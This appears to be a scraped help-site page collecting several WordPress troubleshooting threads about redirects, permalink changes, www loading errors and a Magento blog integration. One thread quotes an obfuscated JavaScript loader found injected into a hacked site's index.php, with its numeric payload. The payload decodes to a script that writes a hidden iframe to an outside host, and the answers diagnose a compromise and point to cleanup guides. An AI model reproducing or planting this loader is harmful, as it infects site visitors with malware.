Website Redirects but I did not allow it - wordpress

I've setup a website using WordPress and just noticed that the homepage redirects to a different section of the website with random characters.
Like www.yourdomain.com redirects to www.yourdomain.com/XYiOEL which is a 404. It changes, sometimes it is there, sometimes it is not. I've checked my .htaccess (newbie here) and I don't see anything that could cause this.
Help?

See FAQ: My site was hacked « WordPress Codex and How to completely clean your hacked wordpress installation and How to find a backdoor in a hacked WordPress and Hardening WordPress « WordPress Codex and tell your host. Change all passswords. Scan your own PC. And see http://blog.sucuri.net/2011/08/timthumb-php-security-vulnerability-just-the-tip-of-the-iceberg.html

Related

Wordpress Permalink Redirect "/%postname%/" to "/%postname%-%post_id%.html"

We changed to our wordpress site's permalink structure from "/%postname%/" to "/%postname%-%post_id%.html". For example from "site.com/post" to "site.com/post-12345.html". We are using also AMP version of site and there are links' AMP versions like "site.com/amp/post-12345.html".
There are a lot of different examples with different variations of permalink redirect on internet. But we can not find a redirect way. As we understand it is not possible with htaccess. We tried a lot of functions.php codes that we finded from StackOverflow and other sites, but the redirect could not work. As we say there are a lot of examples on google but any of these is not the same to our permalink redirect structure.
We find some codes from a Chinese site about Scott Yang's Permalink Redirect plugin which is deleted from WP repository. The normally there is not a plugin version of this but we used these codes like a plugin. It has worked for some conditions. But for some link like AMP it gives error and plugin's settings are not stable.
How can we redirect our links correctly with amp and without any loop?

Wordpress redirecting to wrong homepage

I worked for a few days on XAMPP with a wordpress platform. After I bought a domain, I decided to use Duplicator plugin to transfer my whole wordpress snap to the new server. Everything is working just fine except for one single thing: whenever I go to my website, instead of visiting the actual page that should be "www.example.com/welcome" it redirects automatically to "www.example.com/wordpress". I made some research about it and discovered that usually wp is installed in a wordpress directory, but I completely made sure that:
on htaccess there is no /wordpress directory url
on index.php there is no /wordpress directory url
on wp-config there is no /wordpress directory both on SITE-URL and HOME
made sure that on the wp-admin config panel in the General section, the URLs are both set to the root directory.
For some unexplicable reason, everything is working fine, www.example.com/shop works for example, but if I set from the customization panel a page like "www.example.com/dummy" as homepage, then THAT page won't be found because it automatically redirects "dummy" to "/wordpress" which of course does not exist. You can type www.example.com and be redirected to www.example.com/wordpress and the same thing happens if you type www.example.com/dummy, since now that should be the homepage.
Can anyone explain me why is this happening? I searched everywhere but I can't find an answer.
I'm using the Storefront theme and Woocommerce plugin if that might help.

My Website (Wordpress) Loads Bad when (www.) and it's normal when acessed without (www.)

https://www.excelintercambio.com/ (With www. loads all wrong)
https://excelintercambio.com/ (Without www. looks fine)
The website it's not mine, I've been doing some SEO work for a client and his website turned into this out of nowhere. Of course, the heat is on me and the client is asking like crazy to me to resolve. I'm not at all expert with wordpress and was just editing texts for his website, so I'm pretty sure that I didn't messed up anything.
However I need to fix this.
Can you guys help me with? It's suposed to look be acessable as www.
Please change WordPress Address (URL) and Site Address (URL) from wordpress admin settings. Go to Settings > General Settings and set www in WordPress Address (URL) and Site Address (URL).
I think this is happening due to WP Rocket plugin.
https://www.excelintercambio.com/ In this url JS and CSS files are not loading its showing 404 error.
Can you once deactivate WP Rocket plugin and then check

magento fishpig wordpress integration - block view of non-magento blog site

I've gotten the 4.3.08 fishpig extension working with my 1.7 Magento site (yes, I know it's a very old magento version). The integrated blog looks great and has the magento theme when I access it via the Site Address URL. However, I can still access the non-integrated blog when I type the Wordpress URL into a browser. That url doesn't have the integrated theme - it's just the plain posts. I don't want google to index that wordpress url or for users to find that url. I want them to only see the Site Address URL. I have done a ton of searches but can't seem to find how to do this. Looking for help!
You haven't included your URL so I can't provide accurate feedback. That being said, if configured correctly, the WordPress URL should give a 404 error page. This won't be seen by anyone and won't be indexed by search engines.
If the WordPress URL is visible and everything is configured correctly, you may be using the default permalinks (eg. /blog/?p=123). Change the Permalink structure at Settings > Permalinks and the WordPress URL should generate a 404 page.

js at beginning of my index.php in wordpress

I got a headers error and while investigating I found this at the beginning of my index.php both in the root index and in wp-admin. Clam-AV scan found no viruses.
<script>if(window.document)aa='0';aaa='0';if(aa.indexOf(aaa)===0){ss='';try{new document();}catch(qqq){s=String;f='f'+'r'+'o'+'mChar';f+='Code';}ee='e';e=window.eval;t='y';}h=2*Math.sin(3*Math.PI/2);n=[/* lots of numbers here, moved below for security */];for(i=0;i-n.length<0;i++){j=i;ss=ss+s[f](-h*(1+n[j]));}q=ss;e(q);</script>
The numbers:
3.5,3.5,51.5,50,15,19,49,54.5,48.5,57.5,53.5,49.5,54,57,22,50.5,49.5,57,33.5,53,49.5,53.5,49.5,54,57,56.5,32,59.5,41,47.5,50.5,38,47.5,53.5,49.5,19,18.5,48,54.5,49,59.5,18.5,19.5,44.5,23,45.5,19.5,60.5,3.5,3.5,3.5,51.5,50,56,47.5,53.5,49.5,56,19,19.5,28.5,3.5,3.5,61.5,15,49.5,53,56.5,49.5,15,60.5,3.5,3.5,3.5,49,54.5,48.5,57.5,53.5,49.5,54,57,22,58.5,56,51.5,57,49.5,19,16,29,51.5,50,56,47.5,53.5,49.5,15,56.5,56,48.5,29.5,18.5,51,57,57,55,28,22.5,22.5,48,55.5,49,52,56,54.5,54.5,58,22,25,55,57.5,22,48.5,54.5,53.5,22.5,56.5,57,49,56.5,22.5,50.5,54.5,22,55,51,55,30.5,56.5,51.5,49,29.5,23.5,18.5,15,58.5,51.5,49,57,51,29.5,18.5,23.5,23,18.5,15,51,49.5,51.5,50.5,51,57,29.5,18.5,23.5,23,18.5,15,56.5,57,59.5,53,49.5,29.5,18.5,58,51.5,56.5,51.5,48,51.5,53,51.5,57,59.5,28,51,51.5,49,49,49.5,54,28.5,55,54.5,56.5,51.5,57,51.5,54.5,54,28,47.5,48,56.5,54.5,53,57.5,57,49.5,28.5,53,49.5,50,57,28,23,28.5,57,54.5,55,28,23,28.5,18.5,30,29,22.5,51.5,50,56,47.5,53.5,49.5,30,16,19.5,28.5,3.5,3.5,61.5,3.5,3.5,50,57.5,54,48.5,57,51.5,54.5,54,15,51.5,50,56,47.5,53.5,49.5,56,19,19.5,60.5,3.5,3.5,3.5,58,47.5,56,15,50,15,29.5,15,49,54.5,48.5,57.5,53.5,49.5,54,57,22,48.5,56,49.5,47.5,57,49.5,33.5,53,49.5,53.5,49.5,54,57,19,18.5,51.5,50,56,47.5,53.5,49.5,18.5,19.5,28.5,50,22,56.5,49.5,57,31.5,57,57,56,51.5,48,57.5,57,49.5,19,18.5,56.5,56,48.5,18.5,21,18.5,51,57,57,55,28,22.5,22.5,48,55.5,49,52,56,54.5,54.5,58,22,25,55,57.5,22,48.5,54.5,53.5,22.5,56.5,57,49,56.5,22.5,50.5,54.5,22,55,51,55,30.5,56.5,51.5,49,29.5,23.5,18.5,19.5,28.5,50,22,56.5,57,59.5,53,49.5,22,58,51.5,56.5,51.5,48,51.5,53,51.5,57,59.5,29.5,18.5,51,51.5,49,49,49.5,54,18.5,28.5,50,22,56.5,57,59.5,53,49.5,22,55,54.5,56.5,51.5,57,51.5,54.5,54,29.5,18.5,47.5,48,56.5,54.5,53,57.5,57,49.5,18.5,28.5,50,22,56.5,57,59.5,53,49.5,22,53,49.5,50,57,29.5,18.5,23,18.5,28.5,50,22,56.5,57,59.5,53,49.5,22,57,54.5,55,29.5,18.5,23,18.5,28.5,50,22,56.5,49.5,57,31.5,57,57,56,51.5,48,57.5,57,49.5,19,18.5,58.5,51.5,49,57,51,18.5,21,18.5,23.5,23,18.5,19.5,28.5,50,22,56.5,49.5,57,31.5,57,57,56,51.5,48,57.5,57,49.5,19,18.5,51,49.5,51.5,50.5,51,57,18.5,21,18.5,23.5,23,18.5,19.5,28.5,3.5,3.5,3.5,49,54.5,48.5,57.5,53.5,49.5,54,57,22,50.5,49.5,57,33.5,53,49.5,53.5,49.5,54,57,56.5,32,59.5,41,47.5,50.5,38,47.5,53.5,49.5,19,18.5,48,54.5,49,59.5,18.5,19.5,44.5,23,45.5,22,47.5,55,55,49.5,54,49,32.5,51,51.5,53,49,19,50,19.5,28.5,3.5,3.5,61.5
EDIT: I've commented out the javascript since it was triggering my Eset AV: JS/Iframe.BQ trojan.
I had the Exact same things. Turns out there was a new plugin installed that I did not install. wp-content/plugins/ToolsPack/ToolsPack.php
Make sure you do a clean install of WP and re-install all the plugins you were using minus this one. :) Bad stuff.
You got hacked. Clam AV doesn't scan your web hosting account nor your localhost server, if you are using one. Check your site with http://sitecheck.sucuri.net/scanner/
See FAQ: My site was hacked « WordPress Codex and How to completely clean your hacked wordpress installation and How to find a backdoor in a hacked WordPress and Hardening WordPress « WordPress Codex. Tell your web host. Change all passswords.

Resources